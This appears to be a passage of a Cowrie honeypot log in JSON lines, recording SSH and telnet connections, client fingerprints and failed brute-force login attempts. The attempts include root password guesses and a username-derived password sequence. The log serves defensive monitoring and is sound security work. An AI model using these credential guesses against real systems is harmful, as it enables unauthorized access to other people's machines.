{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:57.385621Z","src_ip":"181.188.176.245","session":"d262ac3f4dab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Galaxy123","message":"login attempt [root/Galaxy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:58.116366Z","src_ip":"181.188.176.245","session":"d262ac3f4dab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:00:59.290337Z","src_ip":"181.188.176.245","session":"d262ac3f4dab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":49790,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3707c89d9b3","protocol":"telnet","message":"New connection: 213.108.3.46:49790 (10.17.0.5:23) [session: b3707c89d9b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:01.051101Z"}
{"eventid":"cowrie.session.closed","duration":0.015105247497558594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:01.066117Z","src_ip":"213.108.3.46","session":"b3707c89d9b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":33706,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea49a6e59ba0","protocol":"ssh","message":"New connection: 43.128.102.61:33706 (10.17.0.5:22) [session: ea49a6e59ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:03.755223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:03.761686Z","src_ip":"43.128.102.61","session":"ea49a6e59ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:03.993643Z","src_ip":"43.128.102.61","session":"ea49a6e59ba0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trade","message":"login attempt [root/trade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:04.946392Z","src_ip":"43.128.102.61","session":"ea49a6e59ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:06.179896Z","src_ip":"43.128.102.61","session":"ea49a6e59ba0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":34876,"dst_ip":"10.17.0.5","dst_port":22,"session":"29a98e0ef1e9","protocol":"ssh","message":"New connection: 181.188.176.245:34876 (10.17.0.5:22) [session: 29a98e0ef1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:27.911125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:27.915701Z","src_ip":"181.188.176.245","session":"29a98e0ef1e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:28.082995Z","src_ip":"181.188.176.245","session":"29a98e0ef1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"save123","message":"login attempt [root/save123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:28.771326Z","src_ip":"181.188.176.245","session":"29a98e0ef1e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:29.938230Z","src_ip":"181.188.176.245","session":"29a98e0ef1e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":44255,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbbd4e976a9a","protocol":"ssh","message":"New connection: 213.209.159.56:44255 (10.17.0.5:22) [session: fbbd4e976a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:35.023901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:35.029587Z","src_ip":"213.209.159.56","session":"fbbd4e976a9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:35.112418Z","src_ip":"213.209.159.56","session":"fbbd4e976a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deisy","password":"deisy","message":"login attempt [deisy/deisy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:35.511318Z","src_ip":"213.209.159.56","session":"fbbd4e976a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deisy","password":"deisy1","message":"login attempt [deisy/deisy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:36.595375Z","src_ip":"213.209.159.56","session":"fbbd4e976a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deisy","password":"deisy123","message":"login attempt [deisy/deisy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:37.680693Z","src_ip":"213.209.159.56","session":"fbbd4e976a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deisy","password":"deisy1234","message":"login attempt [deisy/deisy1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:38.765673Z","src_ip":"213.209.159.56","session":"fbbd4e976a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deisy","password":"deisy12345","message":"login attempt [deisy/deisy12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:39.854954Z","src_ip":"213.209.159.56","session":"fbbd4e976a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:40.939714Z","src_ip":"213.209.159.56","session":"fbbd4e976a9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":57352,"dst_ip":"10.17.0.5","dst_port":22,"session":"e071e2803c5a","protocol":"ssh","message":"New connection: 103.149.28.157:57352 (10.17.0.5:22) [session: e071e2803c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:49.580050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:49.584834Z","src_ip":"103.149.28.157","session":"e071e2803c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:49.828730Z","src_ip":"103.149.28.157","session":"e071e2803c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.205.247.46","src_port":54723,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c598563220c","protocol":"telnet","message":"New connection: 201.205.247.46:54723 (159.203.135.109:23) [session: 9c598563220c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:50.387871Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"stalker1","message":"login attempt [root/stalker1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:50.562944Z","src_ip":"103.149.28.157","session":"e071e2803c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:02:51.809547Z","src_ip":"103.149.28.157","session":"e071e2803c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.221.176.152","src_port":50372,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ef2ab15998","protocol":"ssh","message":"New connection: 206.221.176.152:50372 (10.17.0.5:22) [session: d4ef2ab15998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.001028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.007003Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.017112Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:5c:0b:77:6f:48:e6:13:eb:7c:de:c0:af:58:8c:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRUzXxPCIh/OYDsxRwafk9yb4WqztI6IBQ4waOACGhyX0rwpQJvESV0anVFmgVz6imfSYnPKflUXi6QyCpW7My74yYkqG4EpugrgzHZW8MLQJo2mN+HS8QrJtICk9ZGx28V6qJCb5e4nPGjt+G4e3T0OO3VvrVBsAhWFclFVzE73RkjCZJv04ILjCapBPhkLN9UBbtBMeojQgG+mRguq2bAGw7VxK9kyJMvpoI1pIUMJBXeUV0rVGCzpfnwR9vwCxOeKgT/FaDJ8D1VHjkjc9dnKMEbe2uv5u6dzrl8PYW6KcPMPQQ8FFKQnEZzDy+5w6W2T4j/lwSwgvop5C52DFd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:5c:0b:77:6f:48:e6:13:eb:7c:de:c0:af:58:8c:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.033270Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:5c:0b:77:6f:48:e6:13:eb:7c:de:c0:af:58:8c:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRUzXxPCIh/OYDsxRwafk9yb4WqztI6IBQ4waOACGhyX0rwpQJvESV0anVFmgVz6imfSYnPKflUXi6QyCpW7My74yYkqG4EpugrgzHZW8MLQJo2mN+HS8QrJtICk9ZGx28V6qJCb5e4nPGjt+G4e3T0OO3VvrVBsAhWFclFVzE73RkjCZJv04ILjCapBPhkLN9UBbtBMeojQgG+mRguq2bAGw7VxK9kyJMvpoI1pIUMJBXeUV0rVGCzpfnwR9vwCxOeKgT/FaDJ8D1VHjkjc9dnKMEbe2uv5u6dzrl8PYW6KcPMPQQ8FFKQnEZzDy+5w6W2T4j/lwSwgvop5C52DFd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.036759Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:a3:5a:ec:54:18:89:18:09:fd:16:0c:41:bc:64:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEFnGRJ+OzhgWxOVDL1ffH01wVuNy06zz3A0kSKlxvxLeVIDEcpCAaeU8/9XzG90I3OufEOyDxXZuPyvUFr9x2dWkx9gFaUI4Z0RksNrtSdu4a6ptFDwYF4nfyu6nES2Vd/EM7g4d2QpvOKiGubr4sZLdUcY19/7cohJAnDeLty9S5XqArxJsnrufKlLCP16zRAXo6Jfagj2OpZZtyA1o1mxoUxtuQmM/FkdaoJrsQmqF+H1zSExQhfZYShokog1zee0wxebd1WgLRgsicJsYiYRwB4wdUsdx6iW3GGf5fJDH/Olk1dutfAiqYJll0qmxuYBZa9Gg4lIGzbr54IokCagILHYnWUImnS/NUxamc5+kvy09ZwcsFfMBeJTBdFNu6H71frcvyKI/TMbqk+9g12Nd4BYPsKvUdPZ1iwl+DYuh9I6xhOyUc9QO3R6Alkz4AphpbKTt0L0LQEN7yNO4/S30joDB0eJlH8MKcXEq0EXSVaUDXnUfgi8AB/FXQsG4syBJHK+uo9JlWeKv8Z60oDpijDxGgLESZVmoG6U5lz7jS8vsdrjh778q1BiGHAT8TVd6yVAJa7RYdnWp2aRROUsxlgmfEQS4jfQT+gPHopTdXvPKDzFn6aKgdxwpOOgP3L3x95EFFY3ljRx4f/v/LkcAGwufA0t5t+7ZVsMoFyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:a3:5a:ec:54:18:89:18:09:fd:16:0c:41:bc:64:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.044687Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:a3:5a:ec:54:18:89:18:09:fd:16:0c:41:bc:64:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEFnGRJ+OzhgWxOVDL1ffH01wVuNy06zz3A0kSKlxvxLeVIDEcpCAaeU8/9XzG90I3OufEOyDxXZuPyvUFr9x2dWkx9gFaUI4Z0RksNrtSdu4a6ptFDwYF4nfyu6nES2Vd/EM7g4d2QpvOKiGubr4sZLdUcY19/7cohJAnDeLty9S5XqArxJsnrufKlLCP16zRAXo6Jfagj2OpZZtyA1o1mxoUxtuQmM/FkdaoJrsQmqF+H1zSExQhfZYShokog1zee0wxebd1WgLRgsicJsYiYRwB4wdUsdx6iW3GGf5fJDH/Olk1dutfAiqYJll0qmxuYBZa9Gg4lIGzbr54IokCagILHYnWUImnS/NUxamc5+kvy09ZwcsFfMBeJTBdFNu6H71frcvyKI/TMbqk+9g12Nd4BYPsKvUdPZ1iwl+DYuh9I6xhOyUc9QO3R6Alkz4AphpbKTt0L0LQEN7yNO4/S30joDB0eJlH8MKcXEq0EXSVaUDXnUfgi8AB/FXQsG4syBJHK+uo9JlWeKv8Z60oDpijDxGgLESZVmoG6U5lz7jS8vsdrjh778q1BiGHAT8TVd6yVAJa7RYdnWp2aRROUsxlgmfEQS4jfQT+gPHopTdXvPKDzFn6aKgdxwpOOgP3L3x95EFFY3ljRx4f/v/LkcAGwufA0t5t+7ZVsMoFyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:03:13.048043Z","src_ip":"206.221.176.152","session":"d4ef2ab15998","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:23:30:d1:a9:ff:b2:d6:6f:4a:2c:1c:bd:9a:1a:fe","key":"ssh-rsa 